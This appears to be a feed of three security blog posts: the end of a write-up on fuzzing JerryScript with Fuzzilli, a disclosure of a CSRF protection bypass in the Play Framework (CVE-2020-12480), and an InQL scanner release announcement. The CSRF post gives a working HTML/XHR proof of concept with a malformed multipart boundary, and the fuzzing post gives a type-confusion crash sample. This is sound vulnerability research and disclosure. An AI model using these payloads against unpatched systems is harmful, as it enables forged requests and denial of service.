<p>My experimentation started with a context-free grammar (CFG) generator: <a href="https://github.com/MozillaSecurity/dharma">Dharma</a>. I quickly realized that the grammar rules for generating valid JavaScript code that does something interesting are too complicated. Type confusion and <a href="https://en.wikipedia.org/wiki/Just-in-time_compilation">JIT</a> engine bugs were my primary focus, however, most of the generated code was syntactically incorrect. Every statement was wrapped in a <code class="language-plaintext highlighter-rouge">try/catch</code> block to deal with the incorrect code. After a few days of fuzzing, I was only able to find out-of-memory (OOM) bugs. If you want to read more about V8 JIT and Dharma, I recommend <a href="https://blog.osiris.cyber.nyu.edu/2019/12/22/vasilisk/">this thoughtful research</a>.</p>
<p>Dharma allows you to specify three sections for various purposes. The first one is called <code class="language-plaintext highlighter-rouge">variable</code> and enables you the definition of variables later used in the <code class="language-plaintext highlighter-rouge">value</code> section. The last one, <code class="language-plaintext highlighter-rouge">variance</code> is commonly used to specify the starting symbol for expanding the CFG tree.</p>
<p>The linkage is implemented inside the <code class="language-plaintext highlighter-rouge">value</code> and a nice feature of Dharma is that here you only define the assignment rules or function invocations, and the variables are automatically created when needed. However, if we assign a variable of type A to one with the different type B, we have to include all the type A rules inside the type B object.</p>
<p>Here is an example of such rule:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">try</span> <span class="p">{</span> <span class="o">!</span><span class="nx">TYPEDARRAY</span><span class="o">!</span> <span class="o">=</span> <span class="o">!</span><span class="nx">ARRAYBUFFER</span><span class="o">!</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="o">!</span><span class="nx">ANY_FUNCTION</span><span class="o">!</span><span class="p">,</span> <span class="o">!</span><span class="nx">ANY_FUNCTION</span><span class="o">!</span><span class="p">)</span> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{};</span>
</code></pre></div></div>
<p>As you can imagine, without writing an additional library, the code quickly becomes complicated and clumsy.</p>
<p>Fuzzing with coverage is mandatory when targeting popular software as a pure blackbox approach only scratches the attack surface. Coverage could be easily obtained when the binary is compiled with a specific <a href="https://clang.llvm.org/docs/SourceBasedCodeCoverage.html">Clang</a> (compiler frontend, part of the LLVM infrastructure) flag. Part of the output could be seen in the picture below. In my case, it was only useful for the manual code review and grammar adjustment, as there was no convenient way how to implement the mutator on the JavaScript source code.</p>
<p><img src="../../../public/images/fuzzilli-jerryscript-coverage-report.png" width="850" alt="Coverage Report for V8" align="center" /></p>
<h3 id="fuzzilli">Fuzzilli</h3>
<p>As an alternative approach, I started to play with <a href="https://github.com/googleprojectzero/fuzzilli">Fuzzilli</a>, which I think is incredible and still a very underrated fuzzer, implemented by <a href="https://twitter.com/5aelo">Samuel Groß (aka Saelo)</a>. Fuzzilli uses an intermediate representation (IR) language called FuzzIL, which is perfectly suitable for mutating. Moreover, any program in FuzzIL could always be converted (lifted) to a valid JavaScript code.</p>
<p>At that time, the supported targets were <em>V8</em>, <em>SpiderMonkey</em>, and <em>JavaScriptCore</em>. As these engines continuously undergo widespread fuzzing, I instead decided to implement support for a different JavaScript Engine. I was also interested in the communication protocol between the fuzzer and the engine, so I considered expanding this fuzzer to be an excellent exercise.</p>
<p>I decided to add support for <a href="https://github.com/jerryscript-project/jerryscript/">JerryScript</a>. In the past years, numerous security issues have been discovered on this target by <a href="https://github.com/renatahodovan/fuzzinator">Fuzzinator</a>, which uses the ANTLR v4 testcase generator <a href="https://github.com/renatahodovan/grammarinator">Grammarinator</a>. Those bugs were investigated and fixed, so I wanted to see if Fuzzilli could find something new.</p>
<h2 id="fuzzilli-basics">Fuzzilli Basics</h2>
<h3 id="reprl">REPRL</h3>
<p>The best available high-level documentation about Fuzzilli is Samuel’s <a href="https://saelo.github.io/papers/thesis.pdf">Masters Thesis</a>, where it was introduced, and I strongly recommend reading it as this article summarizes some of the novel ideas.</p>
<p>Many modern fuzzer architectures use Forkserver. The idea behind it is to run the program until the initialization is complete, but before it processes any input. Right after that, the input from the fuzzer is read and passed to a newly forked child. The overhead is low since the initialization possibly only occurs once, or when a restart is needed (e.g. in the case of continuous memory leaks).</p>
<p>Fuzzilli uses the REPRL approach, which saves the overhead caused by <code class="language-plaintext highlighter-rouge">fork()</code> and the measured execution per sample could be ~7 times faster. The JSE engine is modified to read the input from the fuzzer, and after it executes the sample, it obtains the coverage. The crucial part is to reset the state, which is normally (obviously) not done, as the engine uses the context of the already defined variables. In contrast with the Forkserver, we need a rudimentary knowledge of the engine. It is useful to know how the engine’s string representation is internally implemented to feed the input or add additional commands.</p>
<h3 id="coverage">Coverage</h3>
<p>LLVM gives a convenient way to obtain the edge coverage. Providing the <code class="language-plaintext highlighter-rouge">-fsanitize-coverage=trace-pc-guard</code> compiler flag to Clang, we can receive a pointer to the <code class="language-plaintext highlighter-rouge">start</code> and <code class="language-plaintext highlighter-rouge">end</code> of the regions, which are initialized by the guard number, as can be read in the llvm <a href="https://clang.llvm.org/docs/SanitizerCoverage.html#tracing-pcs-with-guards">documentation</a>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">extern</span> <span class="s">"C"</span> <span class="kt">void</span> <span class="nf">__sanitizer_cov_trace_pc_guard_init</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="n">start</span><span class="p">,</span>
<span class="kt">uint32_t</span> <span class="o">*</span><span class="n">stop</span><span class="p">)</span> <span class="p">{</span>
<span class="k">static</span> <span class="kt">uint64_t</span> <span class="n">N</span><span class="p">;</span> <span class="c1">// Counter for the guards.</span>
<span class="k">if</span> <span class="p">(</span><span class="n">start</span> <span class="o">==</span> <span class="n">stop</span> <span class="o">||</span> <span class="o">*</span><span class="n">start</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span> <span class="c1">// Initialize only once.</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"INIT: %p %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">stop</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="n">x</span> <span class="o">=</span> <span class="n">start</span><span class="p">;</span> <span class="n">x</span> <span class="o"><</span> <span class="n">stop</span><span class="p">;</span> <span class="n">x</span><span class="o">++</span><span class="p">)</span>
<span class="o">*</span><span class="n">x</span> <span class="o">=</span> <span class="o">++</span><span class="n">N</span><span class="p">;</span> <span class="c1">// Guards should start from 1.</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The guard regions are included in the JSE target. This means that the JavaScript engine must be modified to accommodate these changes. Whenever a branch is executed, the <code class="language-plaintext highlighter-rouge">__sanitizer_cov_trace_pc_guard</code> callback is called. Fuzzilli uses a POSIX shared memory object (<a href="https://www.man7.org/linux/man-pages/man7/shm_overview.7.html">shmem</a>) to avoid the overhead when passing the data to the parent process. Shmem represents a bitmap, where the visited edge is set and, after each JavaScript input pass, the edge guards are reinitialized.</p>
<h3 id="generation">Generation</h3>
<p>We are not going to repeat the program generation algorithms, as they are closely described in the thesis. The surprising fact is that all the programs stem from this simple JavaScript by cleverly applying multiple mutators:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">Object</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="integration-with-jerryscript">Integration with JerryScript</h2>
<p>To add a new target, several modifications for Fuzzilli should be implemented. From a high level, the REPRL pseudocode is described <a href="https://github.com/googleprojectzero/fuzzilli/tree/master/Targets">here</a>.</p>
<p>As we already mentioned, the JavaScript engine must be modified to conform to Fuzzilli’s protocol. To keep the same code standards and logic, we recommend adding a custom command line parameter to the engine. If we decide to run the interpreter without it, it will run normally. Otherwise, it uses the hardcoded descriptor numbers to make the parent knows that the interpreter is ready to process our input.</p>
<p>Fuzzilli internally uses a custom command, by default called <code class="language-plaintext highlighter-rouge">fuzzilli</code>, which the interpreter should also implement. The first parameter represents the operator - it could be <code class="language-plaintext highlighter-rouge">FUZZILLI_CRASH</code> or <code class="language-plaintext highlighter-rouge">FUZZILLI_PRINT</code>. The former is used to check if we can intercept the segmentation faults, while the latter (optional) is used to print the output passed as an argument. By design, the fuzzer prevents execution when some checks fail, e.g., the operation <code class="language-plaintext highlighter-rouge">FUZZILLI_CRASH</code> is not implemented.</p>
<p>The code is very similar between different targets, as you can see in the patch for <a href="https://github.com/googleprojectzero/fuzzilli/blob/master/Targets/Jerryscript/Patches/jerryscript.patch">JerryScript</a> that we submitted.</p>
<p>For a basic setup, one needs to write a short profile file stored in <code class="language-plaintext highlighter-rouge">Sources/FuzzilliCli/Profiles/</code>. Here we can specify additional builtins specific to the engine, arguments, or thanks to the recent contribution from <a href="https://github.com/googleprojectzero/fuzzilli/pull/72">WilliamParks</a> also the <code class="language-plaintext highlighter-rouge">ECMAScriptVersion</code>.</p>
<h2 id="results">Results</h2>
<p>By integrating Fuzzilli with JerryScript, Doyensec was able to identify multiple bugs reported over the course of four weeks through GitHub. All of these issues were fixed.</p>
<p>All issues were also added to the Fuzzilli <a href="https://github.com/googleprojectzero/fuzzilli/#jerryscript">Bug Showcase</a>:</p>
<p><img src="../../../public/images/fuzzilli-jerryscript-showcase.png" width="850" alt="Fuzzilli Showcase" align="center" /></p>
<p>Fuzzilli is by design efficient against targets with JIT compilers. It can abuse the non-linear execution flow by generating nested callbacks, Prototypes or <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy">Proxy</a> objects, where the state of a different object could be modified. Samples produced by Fuzzilli are specifically generated to incorporate these properties, as required for the discovery of type confusion bugs.</p>
<p>This behavior could be easily seen in the <a href="https://github.com/szilagyiadam/jerryscript/commit/a6208a78b3ad6d3224e73c5d18c0c8e68397c2b1">Issue #3836</a>. As in most cases, the proof of concept generated by Fuzzilli is very simple:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">v3</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Float64Array</span><span class="p">(</span><span class="mi">6</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">v4</span> <span class="o">=</span> <span class="nx">v3</span><span class="p">.</span><span class="nx">buffer</span><span class="p">;</span>
<span class="nx">v4</span><span class="p">.</span><span class="kd">constructor</span> <span class="o">=</span> <span class="nb">Uint8Array</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">v5</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Float64Array</span><span class="p">(</span><span class="nx">v3</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>
<p>This could be rewritten without changing the semantics to an even simpler code:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">v1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Float64Array</span><span class="p">(</span><span class="mi">6</span><span class="p">);</span>
<span class="nx">v1</span><span class="p">.</span><span class="nx">buffer</span><span class="p">.</span><span class="kd">constructor</span> <span class="o">=</span> <span class="nb">Uint8Array</span><span class="p">;</span>
<span class="k">new</span> <span class="nb">Float64Array</span><span class="p">(</span><span class="nx">v1</span><span class="p">);</span>
</code></pre></div></div>
<p>The root cause of this issue is described in the <a href="https://github.com/szilagyiadam/jerryscript/commit/a6208a78b3ad6d3224e73c5d18c0c8e68397c2b1">fix</a>.</p>
<p>In JavaScript when a typed array like <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Float64Array">Float64Array</a> is created, a raw binary data buffer could be accessed via the <code class="language-plaintext highlighter-rouge">buffer</code> property, represented by the <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> type. However, the type was later altered to typed array view <code class="language-plaintext highlighter-rouge">Uint8Array</code>. During the initialization, the engine was expecting an <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> instead of the typed array. When calling the <code class="language-plaintext highlighter-rouge">ecma_arraybuffer_get_buffer</code> function, the typed array pointer was cast to <code class="language-plaintext highlighter-rouge">ArrayBuffer</code>. Note that this is possible since the production build’s <a href="https://github.com/szilagyiadam/jerryscript/blob/a56e31f194fe52000ed95605ae3c92390cd60ad5/jerry-core/ecma/operations/ecma-arraybuffer-object.c#L214">asserts</a> are removed. This caused the type confusion bug on line <a href="https://github.com/szilagyiadam/jerryscript/blob/a56e31f194fe52000ed95605ae3c92390cd60ad5/jerry-core/ecma/operations/ecma-arraybuffer-object.c#L196">196</a>.</p>
<p>Consequently, the destination buffer <code class="language-plaintext highlighter-rouge">dst_buf_p</code> contained an incorrect pointer, as we can see the memory corruption from the triage via gdb:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Program received signal SIGSEGV, Segmentation fault.
ecma_typedarray_create_object_with_typedarray (typedarray_id=ECMA_FLOAT64_ARRAY, element_size_shift=<optimized out>, proto_p=<optimized out>, typedarray_p=0x5555556bd408 <jerry_global_heap+480>)
at /home/jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c:655
655 memcpy (dst_buf_p, src_buf_p, array_length << element_size_shift);
(gdb) x/i $rip
=> 0x55555557654e <ecma_op_create_typedarray+346>: rep movsb %ds:(%rsi),%es:(%rdi)
(gdb) i r rdi
rdi 0x3004100020008 844704103137288
</code></pre></div></div>
<p>Some of the issues, including the one mentioned above, could be probably escalated from Denial of Service to Code Execution. Because of the time constraints and little added value, we have not tried to implement a working exploit.</p>
<p>I want to thank <em>Saelo</em> for including my JerryScript patch into Fuzzilli. And many thanks to Doyensec for the funded <a href="(https://doyensec.com/research.html)">25% research time</a>, which made this project possible.</p>
<h2 id="additional-references">Additional References</h2>
<ul>
<li><a href="https://saelo.github.io/papers/thesis.pdf">FuzzIL: Coverage Guided Fuzzing for JavaScript Engines by Saelo</a></li>
<li><a href="https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Dominiak-Efficient-Approach-to-Fuzzing-Interpreters-wp.pdf">Efficient Approach to Fuzzing Interpreters by Marcin Dominiak and Wojciech Rauner</a></li>
</ul>
CSRF Protection Bypass in Play Framework2020-08-20T00:00:00+02:00https://blog.doyensec.com/2020/08/20/playframework-csrf-bypass<p>This blog post illustrates a vulnerability affecting the <a href="https://www.playframework.com/">Play framework</a> that we discovered during a client engagement. This issue allows a complete <a href="https://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-Site Request Forgery (CSRF)</a> protection bypass under specific configurations.</p>
<p>By their own words, the <strong>Play Framework</strong> is a <em>high velocity web framework for java and scala</em>. It is built on Akka which is a <em>toolkit for building highly concurrent, distributed, and resilient message-driven applications for Java and Scala</em>.</p>
<p>Play is a widely used framework and is deployed on web platforms for both large and small organizations, such as <em>Verizon</em>, <em>Walmart</em>, <em>The Guardian</em>, <em>LinkedIn</em>, <em>Samsung</em> and many others.</p>
<h2 id="old-school-anti-csrf-mechanism">Old school anti-CSRF mechanism</h2>
<p>In older versions of the framework, CSRF protection were provided by an insecure baseline mechanism - even when CSRF tokens were not present in the HTTP requests.</p>
<p>This mechanism was based on the basic differences between <strong>Simple Requests</strong> and <strong>Preflighted Requests</strong>. Let’s explore the details of that.</p>
<p>A <strong>Simple Request</strong> has a strict ruleset. Whenever these rules are followed, the user agent (e.g. a browser) won’t issue an <code class="language-plaintext highlighter-rouge">OPTIONS</code> request even if this is through <em>XMLHttpRequest</em>. All rules and details can be seen in this <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">Mozilla’s Developer Page</a>, although we are primarily interested in the <code class="language-plaintext highlighter-rouge">Content-Type</code> ruleset.</p>
<p>The <code class="language-plaintext highlighter-rouge">Content-Type</code> header for simple requests can contain one of three values:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">application/x-www-form-urlencoded</code></li>
<li><code class="language-plaintext highlighter-rouge">multipart/form-data</code></li>
<li><code class="language-plaintext highlighter-rouge">text/plain</code></li>
</ul>
<p>If you specify a different <code class="language-plaintext highlighter-rouge">Content-Type</code>, such as <code class="language-plaintext highlighter-rouge">application/json</code>, then the browser will send a OPTIONS request to verify that the web server allows such a request.</p>
<p>Now that we understand the differences between preflighted and simple requests, we can continue onwards to understand how Play used to protect against CSRF attacks.</p>
<p>In older versions of the framework (until version 2.5, included),
a black-list approach on receiving <code class="language-plaintext highlighter-rouge">Content-Type</code> headers was used as a CSRF prevention mechanism.</p>
<p>In the <a href="https://www.playframework.com/documentation/2.8.x/Migration25">2.8.x migration guide</a>, we can see how users could restore Play’s old default behavior if required by legacy systems or other dependencies:</p>
<p><strong>application.conf</strong></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">play</span><span class="p">.</span><span class="nx">filters</span><span class="p">.</span><span class="nx">csrf</span> <span class="p">{</span>
<span class="nx">header</span> <span class="p">{</span>
<span class="nx">bypassHeaders</span> <span class="p">{</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Requested</span><span class="o">-</span><span class="nx">With</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">*</span><span class="dl">"</span>
<span class="nx">Csrf</span><span class="o">-</span><span class="nx">Token</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">nocheck</span><span class="dl">"</span>
<span class="p">}</span>
<span class="nx">protectHeaders</span> <span class="o">=</span> <span class="kc">null</span>
<span class="p">}</span>
<span class="nx">bypassCorsTrustedOrigins</span> <span class="o">=</span> <span class="kc">false</span>
<span class="nx">method</span> <span class="p">{</span>
<span class="nx">whiteList</span> <span class="o">=</span> <span class="p">[]</span>
<span class="nx">blackList</span> <span class="o">=</span> <span class="p">[</span><span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">]</span>
<span class="p">}</span>
<span class="nx">contentType</span><span class="p">.</span><span class="nx">blackList</span> <span class="o">=</span> <span class="p">[</span><span class="dl">"</span><span class="s2">application/x-www-form-urlencoded</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">multipart/form-data</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">text/plain</span><span class="dl">"</span><span class="p">]</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In the snippet above we can see the core of the old protection. The <code class="language-plaintext highlighter-rouge">contentType.blackList</code> setting contains three values, which are identical to the content type of “simple requests”. This has been considered as a valid (although not ideal) protection since the following scenarios are prevented:</p>
<ul>
<li><em>attacker.com</em> embeds a <code class="language-plaintext highlighter-rouge"><form></code> element which posts to <em>victim.com</em>
<ul>
<li>Form allows <em>form-urlencoded</em>, <em>multipart</em> or <em>plain</em>, which are all blocked by the mechanism</li>
</ul>
</li>
<li><em>attacker.com</em> uses XHR to <code class="language-plaintext highlighter-rouge">POST</code> to <em>victim.com</em> with <code class="language-plaintext highlighter-rouge">application/json</code>
<ul>
<li>Since <code class="language-plaintext highlighter-rouge">application/json</code> is not a “simple request”, an OPTIONS will be sent and (assuming a proper configuration) CORS will block the request</li>
</ul>
</li>
<li><em>victim.com</em> uses XHR to POST to <em>victim.com</em> with <code class="language-plaintext highlighter-rouge">application/json</code>
<ul>
<li>This works as it should, since the request is not cross-site but within the same domain</li>
</ul>
</li>
</ul>
<p>Hence, you now have CSRF protection. Or do you?</p>
<h2 id="looking-for-a-bypass">Looking for a bypass</h2>
<p>Armed with this knowledge, the first thing that comes to mind is that we need to make the browser issue a request that does not trigger a preflight <span style="text-decoration: underline">and</span> that does not match any values in the <code class="language-plaintext highlighter-rouge">contentType.blackList</code> setting.</p>
<p>The first thing we did was map out requests that we could modify without sending an <code class="language-plaintext highlighter-rouge">OPTIONS</code> preflight. This came down to a single request: <code class="language-plaintext highlighter-rouge">Content-Type: multipart/form-data</code></p>
<p>This appeared immediately interesting thanks to the <code class="language-plaintext highlighter-rouge">boundary</code> value: <code class="language-plaintext highlighter-rouge">Content-Type: multipart/form-data; boundary=something</code></p>
<p>The description can be found <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type">here</a>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>For multipart entities the boundary directive is required, which consists of 1 to 70 characters from a set of characters known to be very robust through email gateways, and not ending with white space. It is used to encapsulate the boundaries of the multiple parts of the message. Often, the header boundary is prepended with two dashes and the final boundary has two dashes appended at the end.
</code></pre></div></div>
<p>So, we have a field that can actually be modified with plenty of different characters and it is all attacker-controlled.</p>
<p>Now we need to dig deep into the parsing of these headers. In order to do that, we need to take a look at <strong>Akka HTTP</strong> which is what the Play framework is based on.</p>
<p>Looking at <strong>HttpHeaderParser.scala</strong>, we can see that these headers are always parsed:</p>
<div class="language-scala highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">val</span> <span class="nv">alwaysParsedHeaders</span> <span class="k">=</span> <span class="nc">Set</span><span class="o">[</span><span class="kt">String</span><span class="o">](</span>
<span class="s">"connection"</span><span class="o">,</span>
<span class="s">"content-encoding"</span><span class="o">,</span>
<span class="s">"content-length"</span><span class="o">,</span>
<span class="s">"content-type"</span><span class="o">,</span>
<span class="s">"expect"</span><span class="o">,</span>
<span class="s">"host"</span><span class="o">,</span>
<span class="s">"sec-websocket-key"</span><span class="o">,</span>
<span class="s">"sec-websocket-protocol"</span><span class="o">,</span>
<span class="s">"sec-websocket-version"</span><span class="o">,</span>
<span class="s">"transfer-encoding"</span><span class="o">,</span>
<span class="s">"upgrade"</span>
<span class="o">)</span>
</code></pre></div></div>
<p>And the parsing rules can be seen in <strong>HeaderParser.scala</strong> which follows <a href="https://tools.ietf.org/html/rfc7230">RFC 7230</a> <em>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing, June 2014</em>.</p>
<div class="language-scala highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">`</span><span class="n">header</span><span class="o">-</span><span class="n">field</span><span class="o">-</span><span class="n">value`: Rule1[String] = rule {
FWS ~ clearSB() ~ `field</span><span class="o">-</span><span class="n">value` ~ FWS ~ EOI ~ push(sb.toString)
}
def `field</span><span class="o">-</span><span class="n">value` = {
var fwsStart = cursor rule {
zeroOrMore(`field</span><span class="o">-</span><span class="n">value</span><span class="o">-</span><span class="n">chunk`).separatedBy { // zeroOrMore because we need to also accept empty values
run { fwsStart = cursor } ~ FWS ~ &(`field</span><span class="o">-</span><span class="n">value</span><span class="o">-</span><span class="n">char`) ~ run { if (cursor > fwsStart) sb.append(' ') }
} }
}
def `field</span><span class="o">-</span><span class="n">value</span><span class="o">-</span><span class="n">chunk` = rule { oneOrMore(`field</span><span class="o">-</span><span class="n">value</span><span class="o">-</span><span class="n">char` ~ appendSB()) } def `field</span><span class="o">-</span><span class="n">value</span><span class="o">-</span><span class="n">char` = rule { VCHAR | `obs</span><span class="o">-</span><span class="n">text` }
def FWS = rule { zeroOrMore(WSP) ~ zeroOrMore(`obs</span><span class="o">-</span><span class="n">fold`) } def `obs</span><span class="o">-</span><span class="n">fold</span><span class="o">`</span> <span class="k">=</span> <span class="n">rule</span> <span class="o">{</span> <span class="nc">CRLF</span> <span class="o">~</span> <span class="nf">oneOrMore</span><span class="o">(</span><span class="nc">WSP</span><span class="o">)</span> <span class="o">}</span>
</code></pre></div></div>
<p>If these parsing rules are not obeyed, the value will be set to <code class="language-plaintext highlighter-rouge">None</code>. Perfect! That is exactly what we need for bypassing the CSRF protection - a “simple request” that will then be set to <code class="language-plaintext highlighter-rouge">None</code> thus bypassing the blacklist.</p>
<p>How do we actually forge a request that is allowed by the browser, but it is considered invalid by the Akka HTTP parsing code?</p>
<p>We decided to let fuzzing answer that, and quickly discovered that the following transformation worked: <code class="language-plaintext highlighter-rouge">Content-Type: multipart/form-data; boundary=—some;randomboundaryvalue</code></p>
<p>An extra semicolon inside the boundary value would do the trick and mark the request as illegal:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /count HTTP/1.1
Host: play.local:9000
...
Content-Type: multipart/form-data;boundary=------;---------------------139501139415121
Content-Length: 0
</code></pre></div></div>
<p>Response</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Response:
HTTP/1.1 200 OK
...
Content-Type: text/plain; charset=UTF-8 Content-Length: 1
5
</code></pre></div></div>
<p>This is also confirmed by looking at the logs of the server in development mode:</p>
<p><code class="language-plaintext highlighter-rouge">a.a.ActorSystemImpl - Illegal header: Illegal 'content-type' header: Invalid input 'EOI', exptected tchar, OWS or ws (line 1, column 74): multipart/form-data;boundary=------;---------------------139501139415121</code></p>
<p>And by instrumenting the Play framework code to print the value of the <code class="language-plaintext highlighter-rouge">Content-Type</code>:</p>
<p><code class="language-plaintext highlighter-rouge">Content-Type: None</code></p>
<p>Finally, we built the following proof-of-concept and notified our client (along with the Play framework maintainers):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><html>
<body>
<h1>Play Framework CSRF bypass</h1>
<button type="button" onclick="poc()">PWN</button> <p id="demo"></p>
<script>
function poc() {
var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("POST", "http://play.local:9000/count", true);
xhttp.setRequestHeader(
"Content-type",
"multipart/form-data; boundary=------;---------------------139501139415121"
);
xhttp.withCredentials = true;
xhttp.send("");
}
</script>
</body>
</html>
</code></pre></div></div>
<h2 id="credits--disclosure">Credits & Disclosure</h2>
<p>This vulnerability was discovered by <a href="https://www.linkedin.com/in/kevin-joensen-1ab96a82/">Kevin Joensen</a> and reported to the Play framework via <a href="mailto:security@playframework.com">security@playframework.com</a> on <em>April 24, 2020</em>. This issue was fixed on Play 2.8.2 and 2.7.5. <a href="https://www.playframework.com/security/vulnerability/CVE-2020-12480-CsrfBlacklistBypass">CVE-2020-12480</a> and all details have been published by the vendor on <em>August 10, 2020</em>. Thanks to James Roper of Lightbend for the assistance.</p>
InQL Scanner v2 is out!2020-06-11T00:00:00+02:00https://blog.doyensec.com/2020/06/11/inql-scanner-v2<h3 id="inql-dyno-mites-release">InQL dyno-mites release</h3>
<p>After the public <a href="https://blog.doyensec.com/2020/03/26/graphql-scanner.html">launch of InQL</a> we received an overwhelming response from the community. <strong>We’re excited to announce a new major release <a href="https://github.com/doyensec/inql">available on Github</a></strong>. In this version <em>(codenamed dyno-mites)</em>, we have introduced a few cool features and a new logo!</p>
<div style="text-align: center;">
<img src="../../../public/images/inql.png" title="InQL Logo" alt="InQL Logo" align="center" style="display: block; margin-left: auto; margin-right: auto; width: 350px;" />
</div>
<h4 id="jython-standalone-gui">Jython Standalone GUI</h4>
<p>As you might know, <em>InQL</em> can be used as a stand-alone tool, or as a <a href="https://portswigger.net/burp">Burp Suite</a> extension (available for both Professional and Community editions). Using GraphQL built-in <a href="https://graphql.org/learn/introspection/">introspection query</a>, the tool collects queries, mutations, subscriptions, fields, arguments, etc to automatically generate query templates that can be used for QA / security testing.</p>
<p>In this release, we introduced the ability to have a Jython standalone GUI similar to the Burp’s one:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>brew <span class="nb">install </span>jython
<span class="nv">$ </span>jython <span class="nt">-m</span> pip <span class="nb">install </span>inql
<span class="nv">$ </span>jython <span class="nt">-m</span> inql
</code></pre></div></div>
<h4 id="advanced-query-editor">Advanced Query Editor</h4>
<p>Many users have asked for syntax highlighting and code completion. <em>Et Voila!</em></p>
<div style="text-align: center;">
<img src="../../../public/images/inql_v2_embed.png" title="InQL GraphiQL" alt="InQL GraphiQL" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>InQL v2 includes an <a href="https://github.com/graphql/graphiql"><strong>embedded GraphiQL server</strong></a>. This server works as a proxy and handles all the requests, enhancing them with authorization headers. <a href="https://github.com/graphql/graphiql">GraphiQL server</a> improves the overall InQL experience by providing an advanced query editor with <strong>autocompletion</strong> and other useful features. We also introduced stubbing of introspection queries when introspection is not available.</p>
<p>We imagine people working between GraphiQL, InQL and other Burp Suite tools hence we included a custom “Send to GraphiQL” / “Send To Repeater” flow to be able to move queries back and forth between the tools.</p>
<div style="text-align: center;">
<img src="../../../public/images/inql_v2_flow.jpg" title="InQL v2 Flow" alt="InQL v2 Flow" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<h4 id="tabbed-editor-with-multi-query-and-variables-support">Tabbed Editor with Multi-Query and Variables support</h4>
<p>But that’s not all. On the <a href="https://portswigger.net/burp">Burp Suite</a> extension side, InQL is now handling <a href="https://graphql.org/learn/best-practices/#server-side-batching-caching"><strong>batched-queries</strong></a> and <strong>searching inside queries</strong>.</p>
<div style="text-align: center;">
<img src="../../../public/images/inql_v2_editor.gif" title="InQL v2 Editor" alt="InQL v2 Editor" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>This was possible through re-engineering the editor in use (e.g. the default Burp text editor) and including a new tabbed interface able to sync between multiple representation of these queries.</p>
<h4 id="bapp-store">BApp Store</h4>
<p>Finally, InQL is now available on the Burp Suite’s <a href="https://portswigger.net/bappstore/296e9a0730384be4b2fffef7b4e19b1f">BApp store</a> so that you can easily install the extension from within Burp’s <em>extension</em> tab.</p>
<video controls="" preload="auto" width="100%" height="100%" poster="/public/images/inql_preview.png">
<source src="/public/images/inql_v2_demo.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<h4 id="stay-tuned">Stay tuned!</h4>
<p>In just three months, InQL has become the <em>go-to</em> utility for GraphQL security testing. We received a lot of positive feedback and decided to double down on the development. We will keep improving the tool based on users’ feedback and the experience we gain through our <a href="https://doyensec.com/auditing.html">GraphQL security testing services</a>.</p>
